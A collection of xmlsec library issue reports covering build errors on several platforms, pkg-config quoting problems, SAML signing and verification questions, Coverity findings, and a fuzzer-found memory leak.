* [email protected] [reporter] 2016-01-27 13:28:53 UTC*

Created attachment 319830 [details] [review]
Only-require-libxslt-in-.pc-files-when-necessary.patch

If we build xmlsec without libxslt ("--without-libxslt" at configure time), dependent packages will still require it because it is unconditionally mentioned in .pc files (used by pkg-config).

We now make sure that this dependency is mentioned only if the configure script validates libxslt presence.

*Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=761174

# git ls-remote https://github.com/lsh123/xmlsec.git

00718f5 HEAD
70b9f38 refs/heads/aleksey-xmlsec-1.2.21
00718f5 refs/heads/master
...
9f62f8f refs/remotes/origin/1.2.11
5544698 refs/remotes/origin/XMLSEC_0_0_X_BRANCH
fb4f5a2 refs/remotes/origin/XMLSEC_1_2_X_BRANCH
6ac7fb0 refs/remotes/origin/XMLSEC_MSCRYPTO_083103
6f4feed refs/remotes/origin/XMLSEC_NSS_030714
7a1a206 refs/remotes/origin/master
5511c22 refs/remotes/origin/xmlsec-nss
37eee56 refs/remotes/origin/xmlsec-openssl-110
...

The branches with names refs/remotes/origin/ are not supposed to be there.
Also 1.2.11 looks like it wanted to become a tag, but there are no corresponding refs there. Would look like:

31d6cc13a52e3e954834e1e04835e76cfb884161 refs/tags/xmlsec-1_2_10
d76cb66 refs/tags/xmlsec-1_2_10^{}

help me..

Hello,

I'm trying to compile xmlsec with mscryto support, but I've got some errors at make stage.

My environment (32 bits):

• Windows 7 64 bits
• Latest msys2 using mingw-w64
• Latest xmlsec release

The steps I've tried:

cd ~ && wget -c http://www.aleksey.com/xmlsec/download/xmlsec1-1.2.24.tar.gz
tar zxvf xmlsec1-1.2.24.tar.gz
cd xmlsec1-1.2.24/
./configure --enable-static=no --disable-maintainer-mode --disable-manpages-build --disable-docs-build --enable-mscrypto --without-libxslt --without-openssl --without-nss --without-nspr --without-gcrypt --without-gnutls
make
make install-strip

Error log:

<snip>
...
make[3]: Leaving directory '/home/duall/xmlsec1-1.2.24/src'
Making all in mscrypto
make[3]: Entering directory '/home/duall/xmlsec1-1.2.24/src/mscrypto'
  CC       libxmlsec1_mscrypto_la-app.lo
In file included from private.h:20:0,
                 from app.c:27:
xmlsec-mingw.h:152:16: error: redefinition of 'struct _PUBKEY'
 typedef struct _PUBKEY {
                ^~~~~~~
In file included from C:/msys32/mingw32/i686-w64-mingw32/include/windows.h:95:0,
                 from globals.h:25,
                 from app.c:10:
C:/msys32/mingw32/i686-w64-mingw32/include/wincrypt.h:612:18: note: originally defined here
   typedef struct _PUBKEY {
                  ^~~~~~~
In file included from private.h:20:0,
                 from app.c:27:
xmlsec-mingw.h:155:3: error: conflicting types for 'DSSPUBKEY'
 } DSSPUBKEY;
   ^~~~~~~~~
In file included from C:/msys32/mingw32/i686-w64-mingw32/include/windows.h:95:0,
                 from globals.h:25,
                 from app.c:10:
C:/msys32/mingw32/i686-w64-mingw32/include/wincrypt.h:615:14: note: previous declaration of 'DSSPUBKEY' was here
   } DHPUBKEY,DSSPUBKEY,KEAPUBKEY,TEKPUBKEY;
              ^~~~~~~~~
In file included from private.h:20:0,
                 from app.c:27:
xmlsec-mingw.h:157:16: error: redefinition of 'struct _DSSSEED'
 typedef struct _DSSSEED {
                ^~~~~~~~
In file included from C:/msys32/mingw32/i686-w64-mingw32/include/windows.h:95:0,
                 from globals.h:25,
                 from app.c:10:
C:/msys32/mingw32/i686-w64-mingw32/include/wincrypt.h:617:18: note: originally defined here
   typedef struct _DSSSEED {
                  ^~~~~~~~
In file included from private.h:20:0,
                 from app.c:27:
xmlsec-mingw.h:160:3: error: conflicting types for 'DSSSEED'
 } DSSSEED;
   ^~~~~~~
In file included from C:/msys32/mingw32/i686-w64-mingw32/include/windows.h:95:0,
                 from globals.h:25,
                 from app.c:10:
C:/msys32/mingw32/i686-w64-mingw32/include/wincrypt.h:620:5: note: previous declaration of 'DSSSEED' was here
   } DSSSEED;
     ^~~~~~~
In file included from private.h:20:0,
                 from app.c:27:
xmlsec-mingw.h:163:16: error: redefinition of 'struct _PROV_ENUMALGS_EX'
 typedef struct _PROV_ENUMALGS_EX {
                ^~~~~~~~~~~~~~~~~
In file included from C:/msys32/mingw32/i686-w64-mingw32/include/windows.h:95:0,
                 from globals.h:25,
                 from app.c:10:
C:/msys32/mingw32/i686-w64-mingw32/include/wincrypt.h:587:18: note: originally defined here
   typedef struct _PROV_ENUMALGS_EX {
                  ^~~~~~~~~~~~~~~~~
In file included from private.h:20:0,
                 from app.c:27:
xmlsec-mingw.h:173:3: error: conflicting types for 'PROV_ENUMALGS_EX'
 } PROV_ENUMALGS_EX;
   ^~~~~~~~~~~~~~~~
In file included from C:/msys32/mingw32/i686-w64-mingw32/include/windows.h:95:0,
                 from globals.h:25,
                 from app.c:10:
C:/msys32/mingw32/i686-w64-mingw32/include/wincrypt.h:597:5: note: previous declaration of 'PROV_ENUMALGS_EX' was here
   } PROV_ENUMALGS_EX;
     ^~~~~~~~~~~~~~~~
...
<snip>

It seems the file mingw's wincrypt.h file already has all structs and functions declared in xmlsec-mingw.h, raising the errors conflicting types for. What do you think about to remove the xmlsec-mingw.h and to use only the mingw's wincrypt.h? (If you agree and can send a patch)

For a long time, libcrypto on windows was called libeay32 (for weird legacy reasons) I guess they changed that to libcrypto finally in 1.1.X to be consistent with the UNIX naming.

At one point xmlsec1's windows build seemed to have code to deal with this naming difference between 1.0.x and 1.1.x, but that was removed in 1.2.24:
c348204#diff-56b87a9bb82dd6809096684a0db830ffL398

Was that intentional? I am able to compile against 1.0.2k on several UNIX platforms, but on windows I get an error:

LINK : fatal error LNK1181: cannot open input file 'libcrypto.lib'
NMAKE : fatal error U1077: '"C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\amd64\link.exe"' : return code '0x49d'

I'm going to try locally patching it and see if that works (I don't have an interactive build environment handy so I'll have to submit a patch to our batch build system, so I won't have an answer right away.)

Recently I did one example to test xml "sign and verify".
I prepared two xml files. One is a formatted SAML logout response. One is the flattened version of the previous file. The formatted version of the SAML logout response file (The xml file to be signed) is

<?xml version="1.0" encoding="UTF-8"?>
<samlp:LogoutResponse xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Destination="https://localhost:8443/saml/ls/" ID="_271dd592d53941d6bd8209a0d22be2d0" InResponseTo="id-r9kqbQmiYfiHaH16K" IssueInstant="2017-04-29T01:25:36Z" Version="2.0">
   <saml:Issuer>http://somecorp.com/saml-idp/4qixg2okec0wuzc8/metadata/</saml:Issuer>
   <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
         <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
         <ds:Reference URI="#_271dd592d53941d6bd8209a0d22be2d0">
            <ds:Transforms>
               <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
               <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
            </ds:Transforms>
            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
            <ds:DigestValue />
         </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue />
      <ds:KeyInfo>
         <ds:X509Data>
            <ds:X509Certificate />
         </ds:X509Data>
      </ds:KeyInfo>
   </ds:Signature>
   <samlp:Status>
      <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
   </samlp:Status>
</samlp:LogoutResponse>

Then I run following bash commands:

#!/bin/sh

#following two can be used by IDP to sign the logout response
xmlsec1 --sign --privkey-pem ./domain.key,./domain.crt --id-attr:ID urn:oasis:names:tc:SAML:2.0:protocol:LogoutResponse --output logout_signed.xml logout_to_sign.xml

xmlsec1 --sign --privkey-pem ./domain.key,./domain.crt --id-attr:ID urn:oasis:names:tc:SAML:2.0:protocol:LogoutResponse --output logout_signed_flatten.xml logout_to_sign_flatten.xml

#following two can be used by SP to verify the logout response
xmlsec1 --verify --pubkey-cert-pem ./domain.crt --id-attr:ID urn:oasis:names:tc:SAML:2.0:protocol:LogoutResponse --store-signatures --node-id _271dd592d53941d6bd8209a0d22be2d0 --output ./logout_verified.xml logout_signed.xml

xmlsec1 --verify --pubkey-cert-pem ./domain.crt --id-attr:ID urn:oasis:names:tc:SAML:2.0:protocol:LogoutResponse --store-signatures --node-id _271dd592d53941d6bd8209a0d22be2d0 --output ./logout_verified_flatten.xml logout_to_sign_flatten.xml

What makes me confusing is the result. The first verification result is an OK while the latter one is a failure.

I have uploaded all related files into google drive. You might click the link the download

Thanks for your help in advance.

* Tom Burdick [reporter] 2014-07-29 20:17:50 UTC*

When attempting to compile my own xmlsec based library and the examples and directly using the pkg-config flags the XMLSEC_CRYPTO definition causes errors due to the quote escaping. This is with xmlsec 1.2.20 on archlinux (no patches)

This is particularly frustrating at the moment as I'm writing a Go binding to libxml/libxslt/xmlsec and Go does not let me do anything to modify the results of pkg-config output when doing its thing.

GCC 4.9.1 Output:

gcc $(pkg-config --cflags --libs xmlsec1) sign1.c -o sign1                                                                                                                        :(
<command-line>:0:16: warning: missing terminating " character
sign1.c: In function ‘main’:
sign1.c:93:5: error: stray ‘\’ in program
     if(xmlSecCryptoDLLoadLibrary(BAD_CAST XMLSEC_CRYPTO) < 0) {
     ^
sign1.c:93:5: error: missing terminating " character
sign1.c:93:56: error: expected expression before ‘)’ token
     if(xmlSecCryptoDLLoadLibrary(BAD_CAST XMLSEC_CRYPTO) < 0) {
                                                        ^

clang 3.4.2 Output:

clang $(pkg-config --cflags --libs xmlsec1) sign1.c -o sign1                                                                                                                      :(
In file included from <built-in>:161:
<command line>:1:24: warning: missing terminating '"' character [-Winvalid-pp-token]
#define XMLSEC_CRYPTO \"openssl\"
                       ^
sign1.c:93:43: error: expected expression
    if(xmlSecCryptoDLLoadLibrary(BAD_CAST XMLSEC_CRYPTO) < 0) {
                                          ^
<command line>:1:23: note: expanded from here
#define XMLSEC_CRYPTO \"openssl\"
                      ^
sign1.c:184:43: warning: passing 'const char *' to parameter of type 'const xmlChar *' (aka 'const unsigned char *') converts between pointers to integer types with different sign [-Wpointer-sign]
    if(xmlSecKeySetName(dsigCtx->signKey, key_file) < 0) {
                                          ^~~~~~~~
/usr/include/xmlsec1/xmlsec/keys.h:197:73: note: passing argument to parameter 'name' here
                                                         const xmlChar* name);
                                                                        ^
2 warnings and 1 error generated.
1 tburdick@rocket ~/src/xmlsec/examples (git)-[master] % clang --version                                                                                                                                                                   :(
clang version 3.4.2 (tags/RELEASE_34/dot2-final)
Target: x86_64-unknown-linux-gnu
Thread model: posix

Go output for my bindings:

go build
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
# github.com/bfrog/xml
<command-line>:0:16: warning: missing terminating " character
./xml.c: In function ‘init’:
./xml.c:43:5: error: stray ‘\’ in program
     if(xmlSecCryptoDLLoadLibrary(BAD_CAST XMLSEC_CRYPTO) < 0) {
     ^
./xml.c:43:5: error: missing terminating " character
./xml.c:43:56: error: expected expression before ‘)’ token
     if(xmlSecCryptoDLLoadLibrary(BAD_CAST XMLSEC_CRYPTO) < 0) {

                                                    ^

Any ideas on how to solve this in the meantime would be really appreciated, for my own purposes I just ended up sticking the string literal for now temporarily into xmlSecCryptoDLLoadLibrary("openssl") like so but that seems fragile

[reply] [−] Comment 1 Aleksey Sanin [xmlsec developer] 2014-08-04 16:04:34 UTC

The GCC error doesn't look like pkg-config problem and some clang errors look weird as well...

Unfortunately, I am not exactly sure what is the problem here. I've just tried on latest Ubuntu I have and it worked w/o problem. Do you have any problems running 'make' in the xmlsec1/examples folder?

[reply] [−] Comment 2 Tom Burdick [reporter] 2014-08-05 03:59:42 UTC

The makefile in the xmlsec/examples folder does something very different than what most users of pkg-config would be doing I'd think? Its assigning the results of a shell command to a variable first.

I unfortunately cannot do that with go as Cgo enforces some very specific meta comments in Go that let me do very little.

In either case even the pkg-config docs say to use pkg-config as I have here in their examples. I would think it should work.

It seems like maybe there's too many escapes or not enough escapes going on here?

http://golang.org/cmd/cgo/

http://people.freedesktop.org/~dbn/pkg-config-guide.html

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=733935

Hi, my name is Cameron MacMinn. I work at Cisco. We use XMLSec. We also use Coverity bug-finding tools.

Issue 1. Ran Coverity Connect on xmlsec1-1.2.23. Found 17 issues. This is 1st possible bug it found.

In xmlsec1-1.2.23/src/nss/x509vfy.c Coverity says:

cond_notnull: Condition name != NULL, taking true branch. Now the value of name is not NULL.
358 xmlSecAssert2(name != NULL, NULL);
...
391 res = CERT_AsciiToName((char*)tmp);
notnull: At condition name == NULL, the value of name cannot be NULL.
dead_error_condition: The condition name == NULL cannot be true.
392 if (name == NULL) {
CID 11233 (#1 of 1): Logically dead code (DEADCODE)dead_error_line: Execution cannot reach the expression xmlSecError inside this statement: xmlSecError("x509vfy.c", 39....
393 xmlSecError(XMLSEC_ERRORS_HERE,
...

Should this be?:
392 if (res == NULL) {

Re the other 16 issues, so far a few false positives. I will look at them as time permits, and be in touch if any more possible bugs.

Issue 2. I am very impressed with the Coverity tools. Also with Coverity Scan open source project.

I have joined the cURL and Jansson projects as a Coverity Scan observer. I plan to join more. When I tried to join XMLSec, I found out that your project is not a member.

I think your project would benefit. As far as I can tell, there is no cost. But it will take some time to keep track of it. In return, I expect you would get expert-level indications and some diagnosis of possible bugs in your code. I highly recommend it.

Hello masters,

At line 319:

-  * Vaidates signature in the @node. The verification result is returned
+  * Validates signature in the @node. The verification result is returned

Thank you!

I'm trying to install the latest library version (1.2.24) on RHEL 7.2, in order to support the "dm.xmlsec.binding" python package.
When trying to run "yum install xmlsec1-devel" I get version 1.2.18, which dm.xmlsec.binding is not compatible with.

What are my options for installing the latest version on Redhat? Is there a ready-made RPM for it? Is there a repo I can ask yum to download the package from?

I didn't do a PR for this because this technically isn't a problem with XMLSec. After getting a little frustrated with the build system and failing to get XMLSec to compile on Mac OS X I followed the suggestion from an old post by Aleksey (I think) and just adding all source files to an XCode project and let XCode figure out what to do with it.

That worked like a charm with one footnote, due to the needs of the project I'm working on its setup to compile all source code with Objective-C++ rules. Seems to be the only way to let it mix C, Obj-C, C++ and Obj-C++ code (thanks Apple). As this adds the requirements to explicitly cast void pointers:
https://github.com/BastiaanOlij/xmlsec/tree/add_type_casts_for_void_pointer

Let me know if you guys want me to submit the PR or whether, and I can fully agree, you don't want needless casts added to the source code just because XCode is being difficult (or potentially the other library I'm using that requires the compiler settings to be this way).

Ran Coverity Connect on xmlsec1-1.2.23. Found possible weak cryptography in XML unique ID.

In xmlsec1-1.2.23/src/xmltree.c Coverity says:

CID 11230 (#1 of 1): Don't call (DC.WEAK_CRYPTO)dont_call: rand() should not be used for security related applications, as linear congruential algorithms are too easy to break.
Use /dev/random or /dev/urandom instead.
863 (xmlSecBufferGetData(&buffer)) [i] = (xmlSecByte) (256.0 * rand() / (RAND_MAX + 1.0));

This proc appears to be for clients, XMLSec itself not so much. Any security concerns?

I ran below command:

xmlsec1 --sign --privkey-pem private_key.pem,cert.pem --id-attr:ID "urn:oasis:names:tc:SAML:2.0:protocol:Assertion" --output signed_res.xml saml_response.xml

xmlsec1 --verify --X509-skip-strict-checks --id-attr:ID "urn:oasis:names:tc:SAML:2.0:protocol:Assertion" --trusted-pem cert.pem saml_response.xml

I and received this error message:
func=xmlSecBase64Decode:file=base64.c:line=740:obj=unknown:subj=buf != NULL:error=100:assertion:
func=xmlSecBufferBase64NodeContentRead:file=buffer.c:line=563:obj=unknown:subj=xmlSecBase64Decode:error=1:xmlsec library function failed:
func=xmlSecTransformVerifyNodeContent:file=transforms.c:line=1776:obj=sha1:subj=xmlSecBufferBase64NodeContentRead:error=1:xmlsec library function failed:
func=xmlSecDSigReferenceCtxProcessNode:file=xmldsig.c:line=1602:obj=unknown:subj=xmlSecTransformVerifyNodeContent:error=1:xmlsec library function failed:
func=xmlSecDSigCtxProcessSignedInfoNode:file=xmldsig.c:line=804:obj=unknown:subj=xmlSecDSigReferenceCtxProcessNode:error=1:xmlsec library function failed:node=Reference
func=xmlSecDSigCtxProcessSignatureNode:file=xmldsig.c:line=547:obj=unknown:subj=xmlSecDSigCtxProcessSignedInfoNode:error=1:xmlsec library function failed:
func=xmlSecDSigCtxVerify:file=xmldsig.c:line=366:obj=unknown:subj=xmlSecDSigCtxSigantureProcessNode:error=1:xmlsec library function failed:
Error: signature failed
ERROR
SignedInfo References (ok/all): 0/1
Manifests References (ok/all): 0/0
Error: failed to verify file "saml_response.xml"

Below is my signed response:

<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="GOSAMLRESPONSE1484161444050744957968075" Version="2.0" IssueInstant="2017-01-10T19:04:04Z" Destination="https://mail.google.com/a/demo.mediaagility.com" InResponseTo="aejlhgifgamagkaobldafdnifhllkclmdkdmgmjf">
    <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://127.0.0.1/login</saml:Issuer>
    <samlp:Status>
            <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </samlp:Status>
    <ds:Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
            <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
            <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
            <ds:Reference ID="#GOSAMLASSERTION1484161444050744957968075">
                <ds:Transforms>
                    <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
                    <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
                </ds:Transforms>
                <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
                <ds:DigestValue>7qAlp8q4w58e7v5hQpU/xkbbaSM=</ds:DigestValue>
            </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>FAJgSGz40hrVNPG0da1wBqrQySaulDyzrEIDNXTam0Mo9oMp4GmWakAs7uf+Py0q
mu3Ndc+qdaacjkfFmTG3aEJuqdbrF5ZYEBV85fN8bCGtg3/H4Sw0hh+XqthxF6x8
3bAzg1EVI66XjWMF//ajXg0yoy/2TDoy2+iKMtkNf+vkwd0+YQ3nxDGEAQLkb+A8
pR6zvrzIPXP/tno+GQy/ALCizBUpupouG0M5BRd3uLBJLIBdZvL/WbIeA0uYglqV
Ldh0ldpcoyfLFbm/xg6Yjr0mZxLbUGKtwtnXcDv2OI7em0wUjZ7hlYrXGNbSMu3n
1DuFrP8oea1K+Uq1DJP1iA==</ds:SignatureValue>
        <ds:KeyInfo>
        <ds:X509Data>
<ds:X509Certificate>MIIEBzCCAu+gAwIBAgIJANPE0ekUwoLyMA0GCSqGSIb3DQEBBQUAMIGZMQswCQYD
VQQGEwJJTjERMA8GA1UECAwISGFyaXlhbmExEDAOBgNVBAcMB2d1cmdhb24xFTAT
BgNVBAoMDE1lZGlhYWdpbGl0eTELMAkGA1UECwwCSVQxFTATBgNVBAMMDERlZXBh
ayBWZXJtYTEqMCgGCSqGSIb3DQEJARYbYWRtaW5AZGVtby5tZWRpYWFnaWxpdHku
Y29tMB4XDTE3MDExMDEzNDEyNVoXDTE3MDIwOTEzNDEyNVowgZkxCzAJBgNVBAYT
AklOMREwDwYDVQQIDAhIYXJpeWFuYTEQMA4GA1UEBwwHZ3VyZ2FvbjEVMBMGA1UE
CgwMTWVkaWFhZ2lsaXR5MQswCQYDVQQLDAJJVDEVMBMGA1UEAwwMRGVlcGFrIFZl
cm1hMSowKAYJKoZIhvcNAQkBFhthZG1pbkBkZW1vLm1lZGlhYWdpbGl0eS5jb20w
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQD+vxDJs6k2B2pcALaLly/c
bo/hiyEWZe11str5MuA5/HvZkv7lRtkhSTe3kRX3a+rp73v4adWrJr2milgAtaqS
VUo8lwYoIiqKj4Ge74iJxvCsdB3GlUU25jbbPLOUKdTsNaw1lPvk95af7EODulvQ
6nygazb4q/OycuuFfl4+nqPZwPothOClC+q3QaiZaGBjo4UmC07xMrFtuv8itsNO
MtwBvWnvPTXLGZU/g/yoj+Y6r6b8k+4jkoS9SsU/BTTtBP380JR1KOi/wEJV5Mny
dumItPSPu9pl5SnJJq4DWVwFpYHYJDXK9161kjcIz+JGi7H3S7MymfnkN29pw/wF
AgMBAAGjUDBOMB0GA1UdDgQWBBSWTdppBx2wxiVdbB+EO/TpYJsbpTAfBgNVHSME
GDAWgBSWTdppBx2wxiVdbB+EO/TpYJsbpTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3
DQEBBQUAA4IBAQDWIV1TLM0pnNtEVeIUplYL8oq2jvSjvVUzNzN2TvXPBSr8GdAv
Awep/pJyeSARZb1bynkO6RGLPUgPB5/ISvS4I0HYT91TfO0iQWzY6ILGKb4CMQhc
x379pqesS6owd+zJ35H5/lnIC3jEIaWjq0/d8JoXIcehzkzIYzjt883KyD3EEe2Y
OoU7hK8eYJwKXNjk37HLfPZ9bmUec/s2Er6AFPp92KTR6wdspy0BvMnvdLmXtkh2
/yX9UMwyDcq4QW+f001i7H8nT3v7C4MqnCrHE2Y+a0XetS+5WIEXYHx7KBeYzTl4
CqkH0LFKuOBfEDBfMj+nGWyeG/vfh9MaELIW</ds:X509Certificate>
</ds:X509Data>
        </ds:KeyInfo>
    </ds:Signature>
    <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="GOSAMLASSERTION1484161444050744957968075" Version="2.0" IssueInstant="2017-01-10T19:04:04Z">
        <saml:Issuer>https://127.0.0.1/login</saml:Issuer>
        <saml:Subject>
            <saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:email">[email protected]</saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml:SubjectConfirmationData NotOnOrAfter="2017-01-12T19:04:04Z" Recipient="https://mail.google.com/a/demo.mediaagility.com" InResponseTo="aejlhgifgamagkaobldafdnifhllkclmdkdmgmjf"/>
            </saml:SubjectConfirmation>
        </saml:Subject>
        <saml:Conditions NotBefore="2017-01-10T19:04:04Z" NotOnOrAfter="2017-01-12T19:04:04Z">
            <saml:AudienceRestriction>
                <saml:Audience>https://mail.google.com/a/demo.mediaagility.com</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>
        <saml:AuthnStatement AuthnInstant="2017-01-10T19:04:04Z" SessionNotOnOrAfter="2017-01-12T19:04:04Z">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>
    </saml:Assertion>
</samlp:Response>

in configure.ac line - 467 the script is looking for libcrypto.a in the specified library directories. On Solaris 11 with openssl installed by pkg, this file does not exist.

Can this reference be changed to libcypto.so, which resolves this issue?

Ideally this would be resolved by installing a version of libssl-dev on solaris 11, however I have been unable to locate this package at http://pkg.oracle.com/

NSS bug: http://bugzilla.mozilla.org/show_bug.cgi?id=211051

Added code to search for certs in the imported list, still would love to have proper NSS support.

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=118632

RIPEMD160 Digest and RIPEMD160 HMAC is not supported by NSS

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=118634

What does this error mean?

I get it using dm.xmlsec.binding trying to verify XML using this library: https://github.com/onelogin/python-saml/blob/master/src/onelogin/saml2/utils.py#L1075

xmldsig.c:871(xmlSecDSigCtxProcessKeyInfoNode) errno=45
xmldsig.c:565(xmlSecDSigCtxProcessSignatureNode) subject=xmlSecDSigCtxProcessKeyInfoNode
xmldsig.c:366(xmlSecDSigCtxVerify) subject=xmlSecDSigCtxSignatureProcessNode

This results in build failures on cross environments where the pkg-config command may be prefixed with the host triplet, e.g. x86_64-pc-linux-gnu-pkg-config.

It should be possible to specify $PKG_CONFIG and if not set it should fall back to pkg-config by default.

Hi,

There is a memory leak in the said API that is likely caused because of not freeing an xml document in a parsing context in addition to freeing the context itself (which is currently done in parser.c)

Here's the report, the xml file contains a single new line only (\x0a)

==1==ERROR: LeakSanitizer: detected memory leaks                                                                               [53/1911]

Direct leak of 176 byte(s) in 1 object(s) allocated from:
    #0 0x504807 in __interceptor_malloc /src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:121
    #1 0x68b41b in xmlNewDoc /src/libxml2/tree.c:1171:23
    #2 0x819686 in xmlSAX2StartDocument /src/libxml2/SAX2.c:1013:22
    #3 0x66635a in xmlParseDocument /src/libxml2/parser.c:10654:9
    #4 0x54a79e in xmlSecParseMemory /src/xmlsec/src/parser.c:536:11
    #5 0x547500 in LLVMFuzzerTestOneInput /src/xmlsec_target.c:12:21
    #6 0x5ae8ac in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/libfuzzer/FuzzerLoop.cpp:526:13
    #7 0x5ace9f in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool*) /src/libfuzzer/FuzzerLoo
p.cpp:451:3
    #8 0x5b02ff in fuzzer::Fuzzer::MutateAndTestOne() /src/libfuzzer/FuzzerLoop.cpp:657:19
    #9 0x5b3236 in fuzzer::Fuzzer::Loop(std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<c
har> >, fuzzer::fuzzer_allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&) /src/
libfuzzer/FuzzerLoop.cpp:788:5
    #10 0x591bae in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/libfuzzer/FuzzerDriver.cpp:758:6
    #11 0x5850ec in main /src/libfuzzer/FuzzerMain.cpp:20:10
    #12 0x7f2f1910982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

Direct leak of 176 byte(s) in 1 object(s) allocated from:
    #0 0x504807 in __interceptor_malloc /src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:121
    #1 0x68b41b in xmlNewDoc /src/libxml2/tree.c:1171:23
    #2 0x819686 in xmlSAX2StartDocument /src/libxml2/SAX2.c:1013:22
    #3 0x66635a in xmlParseDocument /src/libxml2/parser.c:10654:9
    #4 0x54a79e in xmlSecParseMemory /src/xmlsec/src/parser.c:536:11
    #5 0x547500 in LLVMFuzzerTestOneInput /src/xmlsec_target.c:12:21
    #6 0x5ae8ac in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/libfuzzer/FuzzerLoop.cpp:526:13
    #7 0x5ace9f in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool*) /src/libfuzzer/FuzzerLoo
p.cpp:451:3
    #8 0x5b18f9 in fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, 
std::__1::allocator<char> >, fuzzer::fuzzer_allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char
> > > > const&) /src/libfuzzer/FuzzerLoop.cpp:715:5
    #9 0x5b2ba8 in fuzzer::Fuzzer::Loop(std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<c
har> >, fuzzer::fuzzer_allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&) /src/
libfuzzer/FuzzerLoop.cpp:755:3
    #10 0x591bae in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/libfuzzer/FuzzerDriver.cpp:75
8:6
    #11 0x5850ec in main /src/libfuzzer/FuzzerMain.cpp:20:10

When running ./autogen.sh after a fresh git clone on a Debian Sid I'm getting:

./autogen.sh 
I am going to run ./configure with no arguments - if you wish 
to pass any to it, please specify them on the ./autogen.sh command line.
Running libtoolize...
libtoolize: putting auxiliary files in '.'.
libtoolize: copying file './ltmain.sh'
libtoolize: putting macros in AC_CONFIG_MACRO_DIRS, 'm4'.
libtoolize: copying file 'm4/libtool.m4'
libtoolize: copying file 'm4/ltoptions.m4'
libtoolize: copying file 'm4/ltsugar.m4'
libtoolize: copying file 'm4/ltversion.m4'
libtoolize: copying file 'm4/lt~obsolete.m4'
Running aclocal...
Running autoheader...
Running autoconf...
Running automake...
configure.ac:36: installing './compile'
configure.ac:13: installing './config.guess'
